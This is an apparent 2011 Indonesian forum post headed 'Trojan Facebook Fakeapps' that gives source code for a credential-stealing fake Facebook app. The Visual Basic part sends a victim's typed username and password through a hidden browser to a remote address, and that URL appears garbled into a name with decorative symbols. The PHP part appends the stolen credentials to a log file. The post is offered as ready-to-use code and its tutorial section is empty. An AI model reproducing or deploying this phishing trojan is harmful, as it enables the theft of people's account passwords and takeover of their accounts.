belajar

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// http://shareyourcode.indonesianforum.net/
// "Build the world with CODE
// group : http://www.facebook.com/home.php?sk=group_118945301510740&ap=1
// fan page : http://www.facebook.com/pages/Share-Your-Code/187435164628573
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Trojan Facebook Fakeapps
// source : xcode ezine
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// GENERATED ON: 02-03-2011 | Copyleft © 2011 shareyourcode alright reserved
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/* Tutorial */
________________________________





/* source code */

Private Sub Command1_Click()
Dim user, pass As String
Dim IE As Object
user = LCase(Text1.Text)
pass = Text2.Text
Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = 0 'false
IE.Navigate "Alex Fery Anugerah ⏜⏝⏜ " & _
user & "&p=" & pass
Do While IE.Busy
'tunggu sebentar ya
Loop
IE.Quit
Set IE = Nothing
End Sub

/*di bawah adalah script php tempat menyimpan password */

<?php
$email = $_GET[u];
$password = $_GET[p];
$fl = fopen('login.txt', 'a');
fwrite($fl, "$email ;; $password\n\n");
fclose($fl);
?>